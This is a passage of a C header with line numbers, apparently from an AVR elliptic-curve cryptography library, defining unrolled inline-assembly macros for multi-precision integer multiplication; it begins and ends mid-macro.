4587 "adc r24, r1 \n\t" \
4588 "adc r22, r25 \n\t" \
4589 "mul r2, r13 \n\t" \
4590 "add r23, r0 \n\t" \
4591 "adc r24, r1 \n\t" \
4592 "adc r22, r25 \n\t" \
4593 "mul r3, r12 \n\t" \
4594 "add r23, r0 \n\t" \
4595 "adc r24, r1 \n\t" \
4596 "adc r22, r25 \n\t" \
4597 "mul r4, r21 \n\t" \
4598 "add r23, r0 \n\t" \
4599 "adc r24, r1 \n\t" \
4600 "adc r22, r25 \n\t" \
4601 "mul r5, r20 \n\t" \
4602 "add r23, r0 \n\t" \
4603 "adc r24, r1 \n\t" \
4604 "adc r22, r25 \n\t" \
4605 "st z+, r23 \n\t" \
4606 \
4607 "ldi r23, 0 \n\t" \
4608 "mul r11, r15 \n\t" \
4609 "add r24, r0 \n\t" \
4610 "adc r22, r1 \n\t" \
4611 "adc r23, r25 \n\t" \
4612 "mul r2, r14 \n\t" \
4613 "add r24, r0 \n\t" \
4614 "adc r22, r1 \n\t" \
4615 "adc r23, r25 \n\t" \
4616 "mul r3, r13 \n\t" \
4617 "add r24, r0 \n\t" \
4618 "adc r22, r1 \n\t" \
4619 "adc r23, r25 \n\t" \
4620 "mul r4, r12 \n\t" \
4621 "add r24, r0 \n\t" \
4622 "adc r22, r1 \n\t" \
4623 "adc r23, r25 \n\t" \
4624 "mul r5, r21 \n\t" \
4625 "add r24, r0 \n\t" \
4626 "adc r22, r1 \n\t" \
4627 "adc r23, r25 \n\t" \
4628 "st z+, r24 \n\t" \
4629 \
4630 "ldi r24, 0 \n\t" \
4631 "mul r2, r15 \n\t" \
4632 "add r22, r0 \n\t" \
4633 "adc r23, r1 \n\t" \
4634 "adc r24, r25 \n\t" \
4635 "mul r3, r14 \n\t" \
4636 "add r22, r0 \n\t" \
4637 "adc r23, r1 \n\t" \
4638 "adc r24, r25 \n\t" \
4639 "mul r4, r13 \n\t" \
4640 "add r22, r0 \n\t" \
4641 "adc r23, r1 \n\t" \
4642 "adc r24, r25 \n\t" \
4643 "mul r5, r12 \n\t" \
4644 "add r22, r0 \n\t" \
4645 "adc r23, r1 \n\t" \
4646 "adc r24, r25 \n\t" \
4647 "st z+, r22 \n\t" \
4648 \
4649 "ldi r22, 0 \n\t" \
4650 "mul r3, r15 \n\t" \
4651 "add r23, r0 \n\t" \
4652 "adc r24, r1 \n\t" \
4653 "adc r22, r25 \n\t" \
4654 "mul r4, r14 \n\t" \
4655 "add r23, r0 \n\t" \
4656 "adc r24, r1 \n\t" \
4657 "adc r22, r25 \n\t" \
4658 "mul r5, r13 \n\t" \
4659 "add r23, r0 \n\t" \
4660 "adc r24, r1 \n\t" \
4661 "adc r22, r25 \n\t" \
4662 "st z+, r23 \n\t" \
4663 \
4664 "ldi r23, 0 \n\t" \
4665 "mul r4, r15 \n\t" \
4666 "add r24, r0 \n\t" \
4667 "adc r22, r1 \n\t" \
4668 "adc r23, r25 \n\t" \
4669 "mul r5, r14 \n\t" \
4670 "add r24, r0 \n\t" \
4671 "adc r22, r1 \n\t" \
4672 "adc r23, r25 \n\t" \
4673 "st z+, r24 \n\t" \
4674 \
4675 "mul r5, r15 \n\t" \
4676 "add r22, r0 \n\t" \
4677 "adc r23, r1 \n\t" \
4678 "st z+, r22 \n\t" \
4679 "st z+, r23 \n\t" \
4680 "eor r1, r1 \n\t"
4681
4682 #define FAST_MULT_ASM_7 \
4683 "adiw r30, 20 \n\t" \
4684 "adiw r28, 20 \n\t" \
4685 "ld r2, x+ \n\t" \
4686 "ld r3, x+ \n\t" \
4687 "ld r4, x+ \n\t" \
4688 "ld r5, x+ \n\t" \
4689 "ld r6, x+ \n\t" \
4690 "ld r7, x+ \n\t" \
4691 "ld r8, x+ \n\t" \
4692 "ld r9, x+ \n\t" \
4693 "ld r12, y+ \n\t" \
4694 "ld r13, y+ \n\t" \
4695 "ld r14, y+ \n\t" \
4696 "ld r15, y+ \n\t" \
4697 "ld r16, y+ \n\t" \
4698 "ld r17, y+ \n\t" \
4699 "ld r18, y+ \n\t" \
4700 "ld r19, y+ \n\t" \
4701 "ldi r25, 0 \n\t" \
4702 \
4703 "ldi r23, 0 \n\t" \
4704 "mul r2, r12 \n\t" \
4705 "st z+, r0 \n\t" \
4706 "mov r22, r1 \n\t" \
4707 \
4708 "ldi r24, 0 \n\t" \
4709 "mul r2, r13 \n\t" \
4710 "add r22, r0 \n\t" \
4711 "adc r23, r1 \n\t" \
4712 "mul r3, r12 \n\t" \
4713 "add r22, r0 \n\t" \
4714 "adc r23, r1 \n\t" \
4715 "adc r24, r25 \n\t" \
4716 "st z+, r22 \n\t" \
4717 \
4718 "ldi r22, 0 \n\t" \
4719 "mul r2, r14 \n\t" \
4720 "add r23, r0 \n\t" \
4721 "adc r24, r1 \n\t" \
4722 "adc r22, r25 \n\t" \
4723 "mul r3, r13 \n\t" \
4724 "add r23, r0 \n\t" \
4725 "adc r24, r1 \n\t" \
4726 "adc r22, r25 \n\t" \
4727 "mul r4, r12 \n\t" \
4728 "add r23, r0 \n\t" \
4729 "adc r24, r1 \n\t" \
4730 "adc r22, r25 \n\t" \
4731 "st z+, r23 \n\t" \
4732 \
4733 "ldi r23, 0 \n\t" \
4734 "mul r2, r15 \n\t" \
4735 "add r24, r0 \n\t" \
4736 "adc r22, r1 \n\t" \
4737 "adc r23, r25 \n\t" \
4738 "mul r3, r14 \n\t" \
4739 "add r24, r0 \n\t" \
4740 "adc r22, r1 \n\t" \
4741 "adc r23, r25 \n\t" \
4742 "mul r4, r13 \n\t" \
4743 "add r24, r0 \n\t" \
4744 "adc r22, r1 \n\t" \
4745 "adc r23, r25 \n\t" \
4746 "mul r5, r12 \n\t" \
4747 "add r24, r0 \n\t" \
4748 "adc r22, r1 \n\t" \
4749 "adc r23, r25 \n\t" \
4750 "st z+, r24 \n\t" \
4751 \
4752 "ldi r24, 0 \n\t" \
4753 "mul r2, r16 \n\t" \
4754 "add r22, r0 \n\t" \
4755 "adc r23, r1 \n\t" \
4756 "adc r24, r25 \n\t" \
4757 "mul r3, r15 \n\t" \
4758 "add r22, r0 \n\t" \
4759 "adc r23, r1 \n\t" \
4760 "adc r24, r25 \n\t" \
4761 "mul r4, r14 \n\t" \
4762 "add r22, r0 \n\t" \
4763 "adc r23, r1 \n\t" \
4764 "adc r24, r25 \n\t" \
4765 "mul r5, r13 \n\t" \
4766 "add r22, r0 \n\t" \
4767 "adc r23, r1 \n\t" \
4768 "adc r24, r25 \n\t" \
4769 "mul r6, r12 \n\t" \
4770 "add r22, r0 \n\t" \
4771 "adc r23, r1 \n\t" \
4772 "adc r24, r25 \n\t" \
4773 "st z+, r22 \n\t" \
4774 \
4775 "ldi r22, 0 \n\t" \
4776 "mul r2, r17 \n\t" \
4777 "add r23, r0 \n\t" \
4778 "adc r24, r1 \n\t" \
4779 "adc r22, r25 \n\t" \
4780 "mul r3, r16 \n\t" \
4781 "add r23, r0 \n\t" \
4782 "adc r24, r1 \n\t" \
4783 "adc r22, r25 \n\t" \
4784 "mul r4, r15 \n\t" \
4785 "add r23, r0 \n\t" \
4786 "adc r24, r1 \n\t" \
4787 "adc r22, r25 \n\t" \
4788 "mul r5, r14 \n\t" \
4789 "add r23, r0 \n\t" \
4790 "adc r24, r1 \n\t" \
4791 "adc r22, r25 \n\t" \
4792 "mul r6, r13 \n\t" \
4793 "add r23, r0 \n\t" \
4794 "adc r24, r1 \n\t" \
4795 "adc r22, r25 \n\t" \
4796 "mul r7, r12 \n\t" \
4797 "add r23, r0 \n\t" \
4798 "adc r24, r1 \n\t" \
4799 "adc r22, r25 \n\t" \
4800 "st z+, r23 \n\t" \
4801 \
4802 "ldi r23, 0 \n\t" \
4803 "mul r2, r18 \n\t" \
4804 "add r24, r0 \n\t" \
4805 "adc r22, r1 \n\t" \
4806 "adc r23, r25 \n\t" \
4807 "mul r3, r17 \n\t" \
4808 "add r24, r0 \n\t" \
4809 "adc r22, r1 \n\t" \
4810 "adc r23, r25 \n\t" \
4811 "mul r4, r16 \n\t" \
4812 "add r24, r0 \n\t" \
4813 "adc r22, r1 \n\t" \
4814 "adc r23, r25 \n\t" \
4815 "mul r5, r15 \n\t" \
4816 "add r24, r0 \n\t" \
4817 "adc r22, r1 \n\t" \
4818 "adc r23, r25 \n\t" \
4819 "mul r6, r14 \n\t" \
4820 "add r24, r0 \n\t" \
4821 "adc r22, r1 \n\t" \
4822 "adc r23, r25 \n\t" \
4823 "mul r7, r13 \n\t" \
4824 "add r24, r0 \n\t" \
4825 "adc r22, r1 \n\t" \
4826 "adc r23, r25 \n\t" \
4827 "mul r8, r12 \n\t" \
4828 "add r24, r0 \n\t" \
4829 "adc r22, r1 \n\t" \
4830 "adc r23, r25 \n\t" \
4831 "st z+, r24 \n\t" \
4832 \
4833 "ldi r24, 0 \n\t" \
4834 "mul r2, r19 \n\t" \
4835 "add r22, r0 \n\t" \
4836 "adc r23, r1 \n\t" \
4837 "adc r24, r25 \n\t" \
4838 "mul r3, r18 \n\t" \
4839 "add r22, r0 \n\t" \
4840 "adc r23, r1 \n\t" \
4841 "adc r24, r25 \n\t" \
4842 "mul r4, r17 \n\t" \
4843 "add r22, r0 \n\t" \
4844 "adc r23, r1 \n\t" \
4845 "adc r24, r25 \n\t" \
4846 "mul r5, r16 \n\t" \
4847 "add r22, r0 \n\t" \
4848 "adc r23, r1 \n\t" \
4849 "adc r24, r25 \n\t" \
4850 "mul r6, r15 \n\t" \
4851 "add r22, r0 \n\t" \
4852 "adc r23, r1 \n\t" \
4853 "adc r24, r25 \n\t" \
4854 "mul r7, r14 \n\t" \
4855 "add r22, r0 \n\t" \
4856 "adc r23, r1 \n\t" \
4857 "adc r24, r25 \n\t" \
4858 "mul r8, r13 \n\t" \
4859 "add r22, r0 \n\t" \
4860 "adc r23, r1 \n\t" \
4861 "adc r24, r25 \n\t" \
4862 "mul r9, r12 \n\t" \
4863 "add r22, r0 \n\t" \
4864 "adc r23, r1 \n\t" \
4865 "adc r24, r25 \n\t" \
4866 "st z+, r22 \n\t" \
4867 \
4868 "ldi r22, 0 \n\t" \
4869 "mul r3, r19 \n\t" \
4870 "add r23, r0 \n\t" \
4871 "adc r24, r1 \n\t" \
4872 "adc r22, r25 \n\t" \
4873 "mul r4, r18 \n\t" \
4874 "add r23, r0 \n\t" \
4875 "adc r24, r1 \n\t" \
4876 "adc r22, r25 \n\t" \
4877 "mul r5, r17 \n\t" \
4878 "add r23, r0 \n\t" \
4879 "adc r24, r1 \n\t" \
4880 "adc r22, r25 \n\t" \
4881 "mul r6, r16 \n\t" \
4882 "add r23, r0 \n\t" \
4883 "adc r24, r1 \n\t" \
4884 "adc r22, r25 \n\t" \
4885 "mul r7, r15 \n\t" \
4886 "add r23, r0 \n\t" \
4887 "adc r24, r1 \n\t" \
4888 "adc r22, r25 \n\t" \
4889 "mul r8, r14 \n\t" \
4890 "add r23, r0 \n\t" \
4891 "adc r24, r1 \n\t" \
4892 "adc r22, r25 \n\t" \
4893 "mul r9, r13 \n\t" \
4894 "add r23, r0 \n\t" \
4895 "adc r24, r1 \n\t" \
4896 "adc r22, r25 \n\t" \
4897 "st z+, r23 \n\t" \
4898 \
4899 "ldi r23, 0 \n\t" \
4900 "mul r4, r19 \n\t" \
4901 "add r24, r0 \n\t" \
4902 "adc r22, r1 \n\t" \
4903 "adc r23, r25 \n\t" \
4904 "mul r5, r18 \n\t" \
4905 "add r24, r0 \n\t" \
4906 "adc r22, r1 \n\t" \
4907 "adc r23, r25 \n\t" \
4908 "mul r6, r17 \n\t" \
4909 "add r24, r0 \n\t" \
4910 "adc r22, r1 \n\t" \
4911 "adc r23, r25 \n\t" \
4912 "mul r7, r16 \n\t" \
4913 "add r24, r0 \n\t" \
4914 "adc r22, r1 \n\t" \
4915 "adc r23, r25 \n\t" \
4916 "mul r8, r15 \n\t" \
4917 "add r24, r0 \n\t" \
4918 "adc r22, r1 \n\t" \
4919 "adc r23, r25 \n\t" \
4920 "mul r9, r14 \n\t" \
4921 "add r24, r0 \n\t" \
4922 "adc r22, r1 \n\t" \
4923 "adc r23, r25 \n\t" \
4924 "st z+, r24 \n\t" \
4925 \
4926 "ldi r24, 0 \n\t" \
4927 "mul r5, r19 \n\t" \
4928 "add r22, r0 \n\t" \
4929 "adc r23, r1 \n\t" \
4930 "adc r24, r25 \n\t" \
4931 "mul r6, r18 \n\t" \
4932 "add r22, r0 \n\t" \
4933 "adc r23, r1 \n\t" \
4934 "adc r24, r25 \n\t" \
4935 "mul r7, r17 \n\t" \
4936 "add r22, r0 \n\t" \
4937 "adc r23, r1 \n\t" \
4938 "adc r24, r25 \n\t" \
4939 "mul r8, r16 \n\t" \
4940 "add r22, r0 \n\t" \
4941 "adc r23, r1 \n\t" \
4942 "adc r24, r25 \n\t" \
4943 "mul r9, r15 \n\t" \
4944 "add r22, r0 \n\t" \
4945 "adc r23, r1 \n\t" \
4946 "adc r24, r25 \n\t" \
4947 "st z+, r22 \n\t" \
4948 \
4949 "ldi r22, 0 \n\t" \
4950 "mul r6, r19 \n\t" \
4951 "add r23, r0 \n\t" \
4952 "adc r24, r1 \n\t" \
4953 "adc r22, r25 \n\t" \
4954 "mul r7, r18 \n\t" \
4955 "add r23, r0 \n\t" \
4956 "adc r24, r1 \n\t" \
4957 "adc r22, r25 \n\t" \
4958 "mul r8, r17 \n\t" \
4959 "add r23, r0 \n\t" \
4960 "adc r24, r1 \n\t" \
4961 "adc r22, r25 \n\t" \
4962 "mul r9, r16 \n\t" \
4963 "add r23, r0 \n\t" \
4964 "adc r24, r1 \n\t" \
4965 "adc r22, r25 \n\t" \
4966 "st z+, r23 \n\t" \
4967 \
4968 "ldi r23, 0 \n\t" \
4969 "mul r7, r19 \n\t" \
4970 "add r24, r0 \n\t" \
4971 "adc r22, r1 \n\t" \
4972 "adc r23, r25 \n\t" \
4973 "mul r8, r18 \n\t" \
4974 "add r24, r0 \n\t" \
4975 "adc r22, r1 \n\t" \
4976 "adc r23, r25 \n\t" \
4977 "mul r9, r17 \n\t" \
4978 "add r24, r0 \n\t" \
4979 "adc r22, r1 \n\t" \
4980 "adc r23, r25 \n\t" \
4981 "st z+, r24 \n\t" \
4982 \
4983 "ldi r24, 0 \n\t" \
4984 "mul r8, r19 \n\t" \
4985 "add r22, r0 \n\t" \
4986 "adc r23, r1 \n\t" \
4987 "adc r24, r25 \n\t" \
4988 "mul r9, r18 \n\t" \
4989 "add r22, r0 \n\t" \
4990 "adc r23, r1 \n\t" \
4991 "adc r24, r25 \n\t" \
4992 "st z+, r22 \n\t" \
4993 \
4994 "mul r9, r19 \n\t" \
4995 "add r23, r0 \n\t" \
4996 "adc r24, r1 \n\t" \
4997 "st z+, r23 \n\t" \
4998 "st z+, r24 \n\t" \
4999 \
5000 "sbiw r30, 26 \n\t" \
5001 "sbiw r28, 18 \n\t" \
5002 "ld r12, y+ \n\t" \
5003 "ld r13, y+ \n\t" \
5004 "ld r14, y+ \n\t" \
5005 "ld r15, y+ \n\t" \
5006 "ld r16, y+ \n\t" \
5007 "ld r17, y+ \n\t" \
5008 "ld r18, y+ \n\t" \
5009 "ld r19, y+ \n\t" \
5010 "ld r20, y+ \n\t" \
5011 "ld r21, y+ \n\t" \
5012 "ld r10, x+ \n\t" \
5013 "ld r11, x+ \n\t" \
5014 \
5015 "ldi r23, 0 \n\t" \
5016 "mul r2, r12 \n\t" \
5017 "st z+, r0 \n\t" \
5018 "mov r22, r1 \n\t" \
5019 \
5020 "ldi r24, 0 \n\t" \
5021 "mul r2, r13 \n\t" \
5022 "add r22, r0 \n\t" \
5023 "adc r23, r1 \n\t" \
5024 "mul r3, r12 \n\t" \
5025 "add r22, r0 \n\t" \
5026 "adc r23, r1 \n\t" \
5027 "adc r24, r25 \n\t" \
5028 "st z+, r22 \n\t" \
5029 \
5030 "ldi r22, 0 \n\t" \
5031 "mul r2, r14 \n\t" \
5032 "add r23, r0 \n\t" \
5033 "adc r24, r1 \n\t" \
5034 "adc r22, r25 \n\t" \
5035 "mul r3, r13 \n\t" \
5036 "add r23, r0 \n\t" \
5037 "adc r24, r1 \n\t" \
5038 "adc r22, r25 \n\t" \
5039 "mul r4, r12 \n\t" \
5040 "add r23, r0 \n\t" \
5041 "adc r24, r1 \n\t" \
5042 "adc r22, r25 \n\t" \
5043 "st z+, r23 \n\t" \
5044 \
5045 "ldi r23, 0 \n\t" \
5046 "mul r2, r15 \n\t" \
5047 "add r24, r0 \n\t" \
5048 "adc r22, r1 \n\t" \
5049 "adc r23, r25 \n\t" \
5050 "mul r3, r14 \n\t" \
5051 "add r24, r0 \n\t" \
5052 "adc r22, r1 \n\t" \
5053 "adc r23, r25 \n\t" \
5054 "mul r4, r13 \n\t" \
5055 "add r24, r0 \n\t" \
5056 "adc r22, r1 \n\t" \
5057 "adc r23, r25 \n\t" \
5058 "mul r5, r12 \n\t" \
5059 "add r24, r0 \n\t" \
5060 "adc r22, r1 \n\t" \
5061 "adc r23, r25 \n\t" \
5062 "st z+, r24 \n\t" \
5063 \
5064 "ldi r24, 0 \n\t" \
5065 "mul r2, r16 \n\t" \
5066 "add r22, r0 \n\t" \
5067 "adc r23, r1 \n\t" \
5068 "adc r24, r25 \n\t" \
5069 "mul r3, r15 \n\t" \
5070 "add r22, r0 \n\t" \
5071 "adc r23, r1 \n\t" \
5072 "adc r24, r25 \n\t" \
5073 "mul r4, r14 \n\t" \
5074 "add r22, r0 \n\t" \
5075 "adc r23, r1 \n\t" \
5076 "adc r24, r25 \n\t" \
5077 "mul r5, r13 \n\t" \
5078 "add r22, r0 \n\t" \
5079 "adc r23, r1 \n\t" \
5080 "adc r24, r25 \n\t" \
5081 "mul r6, r12 \n\t" \
5082 "add r22, r0 \n\t" \
5083 "adc r23, r1 \n\t" \
5084 "adc r24, r25 \n\t" \
5085 "st z+, r22 \n\t" \
5086 \
5087 "ldi r22, 0 \n\t" \
5088 "mul r2, r17 \n\t" \
5089 "add r23, r0 \n\t" \
5090 "adc r24, r1 \n\t" \
5091 "adc r22, r25 \n\t" \
5092 "mul r3, r16 \n\t" \
5093 "add r23, r0 \n\t" \
5094 "adc r24, r1 \n\t" \
5095 "adc r22, r25 \n\t" \
5096 "mul r4, r15 \n\t" \
5097 "add r23, r0 \n\t" \
5098 "adc r24, r1 \n\t" \
5099 "adc r22, r25 \n\t" \
5100 "mul r5, r14 \n\t" \
5101 "add r23, r0 \n\t" \
5102 "adc r24, r1 \n\t" \
5103 "adc r22, r25 \n\t" \
5104 "mul r6, r13 \n\t" \
5105 "add r23, r0 \n\t" \
5106 "adc r24, r1 \n\t" \
5107 "adc r22, r25 \n\t" \
5108 "mul r7, r12 \n\t" \
5109 "add r23, r0 \n\t" \
5110 "adc r24, r1 \n\t" \
5111 "adc r22, r25 \n\t" \
5112 "st z+, r23 \n\t" \
5113 \
5114 "ldi r23, 0 \n\t" \
5115 "mul r2, r18 \n\t" \
5116 "add r24, r0 \n\t" \
5117 "adc r22, r1 \n\t" \
5118 "adc r23, r25 \n\t" \
5119 "mul r3, r17 \n\t" \
5120 "add r24, r0 \n\t" \
5121 "adc r22, r1 \n\t" \
5122 "adc r23, r25 \n\t" \
5123 "mul r4, r16 \n\t" \
5124 "add r24, r0 \n\t" \
5125 "adc r22, r1 \n\t" \
5126 "adc r23, r25 \n\t" \
5127 "mul r5, r15 \n\t" \
5128 "add r24, r0 \n\t" \
5129 "adc r22, r1 \n\t" \
5130 "adc r23, r25 \n\t" \
5131 "mul r6, r14 \n\t" \
5132 "add r24, r0 \n\t" \
5133 "adc r22, r1 \n\t" \
5134 "adc r23, r25 \n\t" \
5135 "mul r7, r13 \n\t" \
5136 "add r24, r0 \n\t" \
5137 "adc r22, r1 \n\t" \
5138 "adc r23, r25 \n\t" \
5139 "mul r8, r12 \n\t" \
5140 "add r24, r0 \n\t" \
5141 "adc r22, r1 \n\t" \
5142 "adc r23, r25 \n\t" \
5143 "st z+, r24 \n\t" \
5144 \
5145 "ldi r24, 0 \n\t" \
5146 "mul r2, r19 \n\t" \
5147 "add r22, r0 \n\t" \
5148 "adc r23, r1 \n\t" \
5149 "adc r24, r25 \n\t" \
5150 "mul r3, r18 \n\t" \
5151 "add r22, r0 \n\t" \
5152 "adc r23, r1 \n\t" \
5153 "adc r24, r25 \n\t" \
5154 "mul r4, r17 \n\t" \
5155 "add r22, r0 \n\t" \
5156 "adc r23, r1 \n\t" \
5157 "adc r24, r25 \n\t" \
5158 "mul r5, r16 \n\t" \
5159 "add r22, r0 \n\t" \
5160 "adc r23, r1 \n\t" \
5161 "adc r24, r25 \n\t" \
5162 "mul r6, r15 \n\t" \
5163 "add r22, r0 \n\t" \
5164 "adc r23, r1 \n\t" \
5165 "adc r24, r25 \n\t" \
5166 "mul r7, r14 \n\t" \
5167 "add r22, r0 \n\t" \
5168 "adc r23, r1 \n\t" \
5169 "adc r24, r25 \n\t" \
5170 "mul r8, r13 \n\t" \
5171 "add r22, r0 \n\t" \
5172 "adc r23, r1 \n\t" \
5173 "adc r24, r25 \n\t" \
5174 "mul r9, r12 \n\t" \
5175 "add r22, r0 \n\t" \
5176 "adc r23, r1 \n\t" \
5177 "adc r24, r25 \n\t" \
5178 "st z+, r22 \n\t" \
5179 \
5180 "ldi r22, 0 \n\t" \
5181 "mul r2, r20 \n\t" \
5182 "add r23, r0 \n\t" \
5183 "adc r24, r1 \n\t" \
5184 "adc r22, r25 \n\t" \
5185 "mul r3, r19 \n\t" \
5186 "add r23, r0 \n\t" \
5187 "adc r24, r1 \n\t" \
5188 "adc r22, r25 \n\t" \
5189 "mul r4, r18 \n\t" \
5190 "add r23, r0 \n\t" \
5191 "adc r24, r1 \n\t" \
5192 "adc r22, r25 \n\t" \
5193 "mul r5, r17 \n\t" \
5194 "add r23, r0 \n\t" \
5195 "adc r24, r1 \n\t" \
5196 "adc r22, r25 \n\t" \
5197 "mul r6, r16 \n\t" \
5198 "add r23, r0 \n\t" \
5199 "adc r24, r1 \n\t" \
5200 "adc r22, r25 \n\t" \
5201 "mul r7, r15 \n\t" \
5202 "add r23, r0 \n\t" \
5203 "adc r24, r1 \n\t" \
5204 "adc r22, r25 \n\t" \
5205 "mul r8, r14 \n\t" \
5206 "add r23, r0 \n\t" \
5207 "adc r24, r1 \n\t" \
5208 "adc r22, r25 \n\t" \
5209 "mul r9, r13 \n\t" \
5210 "add r23, r0 \n\t" \
5211 "adc r24, r1 \n\t" \
5212 "adc r22, r25 \n\t" \
5213 "mul r10, r12 \n\t" \
5214 "add r23, r0 \n\t" \
5215 "adc r24, r1 \n\t" \
5216 "adc r22, r25 \n\t" \
5217 "st z+, r23 \n\t" \
5218 \
5219 "ldi r23, 0 \n\t" \
5220 "mul r2, r21 \n\t" \
5221 "add r24, r0 \n\t" \
5222 "adc r22, r1 \n\t" \
5223 "adc r23, r25 \n\t" \
5224 "mul r3, r20 \n\t" \
5225 "add r24, r0 \n\t" \
5226 "adc r22, r1 \n\t" \
5227 "adc r23, r25 \n\t" \
5228 "mul r4, r19 \n\t" \
5229 "add r24, r0 \n\t" \
5230 "adc r22, r1 \n\t" \
5231 "adc r23, r25 \n\t" \
5232 "mul r5, r18 \n\t" \
5233 "add r24, r0 \n\t" \
5234 "adc r22, r1 \n\t" \
5235 "adc r23, r25 \n\t" \
5236 "mul r6, r17 \n\t" \
5237 "add r24, r0 \n\t" \
5238 "adc r22, r1 \n\t" \
5239 "adc r23, r25 \n\t" \
5240 "mul r7, r16 \n\t" \
5241 "add r24, r0 \n\t" \
5242 "adc r22, r1 \n\t" \
5243 "adc r23, r25 \n\t" \
5244 "mul r8, r15 \n\t" \
5245 "add r24, r0 \n\t" \
5246 "adc r22, r1 \n\t" \
5247 "adc r23, r25 \n\t" \
5248 "mul r9, r14 \n\t" \
5249 "add r24, r0 \n\t" \
5250 "adc r22, r1 \n\t" \
5251 "adc r23, r25 \n\t" \
5252 "mul r10, r13 \n\t" \
5253 "add r24, r0 \n\t" \
5254 "adc r22, r1 \n\t" \
5255 "adc r23, r25 \n\t" \
5256 "mul r11, r12 \n\t" \
5257 "add r24, r0 \n\t" \
5258 "adc r22, r1 \n\t" \
5259 "adc r23, r25 \n\t" \
5260 "st z+, r24 \n\t" \
5261 \
5262 "ld r2, x+ \n\t" \
5263 "ldi r24, 0 \n\t" \
5264 "mul r3, r21 \n\t" \
5265 "add r22, r0 \n\t" \
5266 "adc r23, r1 \n\t" \
5267 "adc r24, r25 \n\t" \
5268 "mul r4, r20 \n\t" \
5269 "add r22, r0 \n\t" \
5270 "adc r23, r1 \n\t" \
5271 "adc r24, r25 \n\t" \
5272 "mul r5, r19 \n\t" \
5273 "add r22, r0 \n\t" \
5274 "adc r23, r1 \n\t" \
5275 "adc r24, r25 \n\t" \
5276 "mul r6, r18 \n\t" \
5277 "add r22, r0 \n\t" \
5278 "adc r23, r1 \n\t" \
5279 "adc r24, r25 \n\t" \
5280 "mul r7, r17 \n\t" \
5281 "add r22, r0 \n\t" \
5282 "adc r23, r1 \n\t" \
5283 "adc r24, r25 \n\t" \
5284 "mul r8, r16 \n\t" \
5285 "add r22, r0 \n\t" \
5286 "adc r23, r1 \n\t" \
5287 "adc r24, r25 \n\t" \
5288 "mul r9, r15 \n\t" \
5289 "add r22, r0 \n\t" \
5290 "adc r23, r1 \n\t" \
5291 "adc r24, r25 \n\t" \
5292 "mul r10, r14 \n\t" \
5293 "add r22, r0 \n\t" \
5294 "adc r23, r1 \n\t" \
5295 "adc r24, r25 \n\t" \
5296 "mul r11, r13 \n\t" \
5297 "add r22, r0 \n\t" \
5298 "adc r23, r1 \n\t" \
5299 "adc r24, r25 \n\t" \
5300 "mul r2, r12 \n\t" \
5301 "add r22, r0 \n\t" \
5302 "adc r23, r1 \n\t" \
5303 "adc r24, r25 \n\t" \
5304 "ld r0, z \n\t" \
5305 "add r22, r0 \n\t" \
5306 "adc r23, r25 \n\t" \
5307 "adc r24, r25 \n\t" \
5308 "st z+, r22 \n\t" \
5309 \
5310 "ld r3, x+ \n\t" \
5311 "ldi r22, 0 \n\t" \
5312 "mul r4, r21 \n\t" \
5313 "add r23, r0 \n\t" \
5314 "adc r24, r1 \n\t" \
5315 "adc r22, r25 \n\t" \
5316 "mul r5, r20 \n\t" \
5317 "add r23, r0 \n\t" \
5318 "adc r24, r1 \n\t" \
5319 "adc r22, r25 \n\t" \
5320 "mul r6, r19 \n\t" \
5321 "add r23, r0 \n\t" \
5322 "adc r24, r1 \n\t" \
5323 "adc r22, r25 \n\t" \
5324 "mul r7, r18 \n\t" \
5325 "add r23, r0 \n\t" \
5326 "adc r24, r1 \n\t" \
5327 "adc r22, r25 \n\t" \
5328 "mul r8, r17 \n\t" \
5329 "add r23, r0 \n\t" \
5330 "adc r24, r1 \n\t" \
5331 "adc r22, r25 \n\t" \
5332 "mul r9, r16 \n\t" \
5333 "add r23, r0 \n\t" \
5334 "adc r24, r1 \n\t" \
5335 "adc r22, r25 \n\t" \
5336 "mul r10, r15 \n\t" \
5337 "add r23, r0 \n\t" \
5338 "adc r24, r1 \n\t" \
5339 "adc r22, r25 \n\t" \
5340 "mul r11, r14 \n\t" \
5341 "add r23, r0 \n\t" \
5342 "adc r24, r1 \n\t" \
5343 "adc r22, r25 \n\t" \
5344 "mul r2, r13 \n\t" \
5345 "add r23, r0 \n\t" \
5346 "adc r24, r1 \n\t" \
5347 "adc r22, r25 \n\t" \
5348 "mul r3, r12 \n\t" \
5349 "add r23, r0 \n\t" \
5350 "adc r24, r1 \n\t" \
5351 "adc r22, r25 \n\t" \
5352 "ld r0, z \n\t" \
5353 "add r23, r0 \n\t" \
5354 "adc r24, r25 \n\t" \
5355 "adc r22, r25 \n\t" \
5356 "st z+, r23 \n\t" \
5357 \
5358 "ld r4, x+ \n\t" \
5359 "ldi r23, 0 \n\t" \
5360 "mul r5, r21 \n\t" \
5361 "add r24, r0 \n\t" \
5362 "adc r22, r1 \n\t" \
5363 "adc r23, r25 \n\t" \
5364 "mul r6, r20 \n\t" \
5365 "add r24, r0 \n\t" \
5366 "adc r22, r1 \n\t" \
5367 "adc r23, r25 \n\t" \
5368 "mul r7, r19 \n\t" \
5369 "add r24, r0 \n\t" \
5370 "adc r22, r1 \n\t" \
5371 "adc r23, r25 \n\t" \
5372 "mul r8, r18 \n\t" \
5373 "add r24, r0 \n\t" \
5374 "adc r22, r1 \n\t" \
5375 "adc r23, r25 \n\t" \
5376 "mul r9, r17 \n\t" \
5377 "add r24, r0 \n\t" \
5378 "adc r22, r1 \n\t" \
5379 "adc r23, r25 \n\t" \
5380 "mul r10, r16 \n\t" \
5381 "add r24, r0 \n\t" \
5382 "adc r22, r1 \n\t" \
5383 "adc r23, r25 \n\t" \
5384 "mul r11, r15 \n\t" \
5385 "add r24, r0 \n\t" \
5386 "adc r22, r1 \n\t" \
5387 "adc r23, r25 \n\t" \
5388 "mul r2, r14 \n\t" \
5389 "add r24, r0 \n\t" \
5390 "adc r22, r1 \n\t" \
5391 "adc r23, r25 \n\t" \
5392 "mul r3, r13 \n\t" \
5393 "add r24, r0 \n\t" \
5394 "adc r22, r1 \n\t" \
5395 "adc r23, r25 \n\t" \
5396 "mul r4, r12 \n\t" \
5397 "add r24, r0 \n\t" \
5398 "adc r22, r1 \n\t" \
5399 "adc r23, r25 \n\t" \
5400 "ld r0, z \n\t" \
5401 "add r24, r0 \n\t" \
5402 "adc r22, r25 \n\t" \
5403 "adc r23, r25 \n\t" \
5404 "st z+, r24 \n\t" \
5405 \
5406 "ld r5, x+ \n\t" \
5407 "ldi r24, 0 \n\t" \
5408 "mul r6, r21 \n\t" \
5409 "add r22, r0 \n\t" \
5410 "adc r23, r1 \n\t" \
5411 "adc r24, r25 \n\t" \
